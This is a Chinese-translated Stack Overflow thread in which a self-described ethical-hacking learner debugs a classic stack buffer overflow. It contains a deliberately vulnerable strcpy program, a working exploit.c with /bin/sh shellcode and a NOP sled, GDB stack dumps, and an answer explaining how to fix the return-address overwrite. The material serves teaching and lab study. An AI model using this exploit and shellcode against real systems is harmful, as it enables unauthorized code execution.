我正在学习道德黑客,所以我正在做简单的溢出堆栈攻击来覆盖保存的返回指针。这是我的vulnerable程序(编译时没有canary和NX保护,
-fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0)和程序,创建缓冲区(NOP__SHELLCODE__RET)并调用易受攻击的程序。每件事都很简单,但是不要工作- -_-。溢出正常,但未执行外壳代码,但在易受攻击的程序中保存的返回指针在NOP上。
易受攻击的程序(命令c):
void somefunc(char **argv){
char buffer[30];
strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
if(argc==2)
somefunc(argv);
else
printf("There is no args");
printf("__RET FROM MAIN OF COMMAND__");
}利用漏洞(exploit.c):
//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv)
{
unsigned int mem_i , ret, *ptr, offset=0;
if(argc < 2){
printf("Usage: <exploit> offset\n");
return 0;
}
offset = atoi(argv[1]);
const char *cc = "./command";
char* buffer = (char*)malloc(200);
bzero(buffer, 200);
ret = (unsigned int)&mem_i + offset;
for(mem_i = 0; mem_i < 160; mem_i+=4) //writing data with RET(return address pointer)
*((unsigned int *)(buffer+mem_i)) = ret;
memset(buffer, 0x90, 100);// NOP Sledding
memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//writing shelcode
execl(cc, cc, buffer, NULL);//exec vulnerable programm
// -----------------------------------------------------------------------------------------
// | NOP | shellcode | RET |
// -----------------------------------------------------------------------------------------
}正如我所注意到的,shellcode执行/bin/sh,因此有理由查看我最喜欢的gdb ;)
----> gdb exploit
...
/*breakpoint at "execl(cc, cc, buffer, NULL);", before it performed*/
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090 0x90909090 0x90909090 0x90909090/*It is NOP*/
...
0x5555555592f0: 0x90909090 0x90909090 0x90909090 0x90909090
0x555555559300: 0x90909090 '0xfe58426a 0x529948c4 0x622fbf48/*SHELLCOdE*/
0x555555559310: 0x2f2f6e69 0x54576873 0xd089495e 0x0fd28949'
0x555555559320: 0xffffde05 0xffffde44 0xffffde44 0xffffde44/*return address pointer*/
0x555555559330: 0xffffde44 0xffffde44 0xffffde44 0xffffde44
(gdb) next
/*next we are goint in command, because code calling it(execl(cc, cc, buffer, NULL)*/
(gdb) disass main
...
0x00005555555551ef <+32>: call 0x555555555169 <somefunc>
0x00005555555551f4 <+37>: jmp 0x555555555207 <main+56>/*this address somefunc()
will save as saved return pointer*/
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8 strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddd0: 0xffffddf0 0x00007fff '0x555551f4 0x00005555'
/*it is saved return pointer, that we need to overwrite, 0x00005555555551f4)*/
...
(gdb) next
//have writed out buffer in stack
(gdb) x/64xw $rsp
...
0x7fffffffddd0: 0x90909090 0x90909090 '0x90909090 0x90909090'/*we have
overwritten saved return pointer to NOP*/
0x7fffffffdde0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffddf0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffde00: 0x90909090 0x90909090 0x90909090 0x90909090
/*next is going shellcode*/
0x7fffffffde10: 0x90909090 '0xfe58426a 0x529948c4 0x622fbf48
0x7fffffffde20: 0x2f2f6e69 0x54576873 0xd089495e 0x0fd28949
0x7fffffffde30: 0xffffde05' 0xffffde44 0xffffde44 0xffffde44
0x7fffffffde40: 0xffffde44 0xffffde44 0xffffde44 0xffffde44一切都应该正常,因为我们已经覆盖了NOP的已保存返回指针(0x000055555551f4),但是没有执行外壳代码。有什么问题吗?
发布于 2021-10-15 14:17:33
返回指针应该指向您的shell代码或NOP sled,不一定是其中的一部分。
因为溢出会用NOP指令覆盖返回地址,所以您会告诉受害者程序在函数完成后返回到地址0x9090909090909090。但是,这不是您可以控制的内存地址,因此您的程序很可能只是SEGFAULT。
相反,您应该在返回指针之后重写返回指针,以指向堆栈上的NOP sled中的某处。在NOP指令的sled的末尾,您的外壳代码应该位于。
因此,被覆盖的返回指针应该是您现在控制的内存地址,而不是NOP指令,就像0x7fffffffde10一样。现在,程序会将指令指针设置为指向您的NOP sled,这将指向您的外壳代码。
提示一下:根据系统的字节顺序,您可能需要对地址进行反向编码。
如何修复利用漏洞的代码
实际上,在开始覆盖返回指针之前,您需要计算出需要在受害者程序的缓冲区中放入多少字节。弄清楚这一点后,在用于NOP sled的循环之前编写另一个for循环,该循环用填充字节填充缓冲区(通常只使用字符'A'),然后将指向的地址放入NOP sled中,然后写入NOP sled,然后写入外壳代码。
补充阅读:https://resources.infosecinstitute.com/topic/return-oriented-programming-rop-attacks/
https://stackoverflow.com/questions/69585824
复制相似问题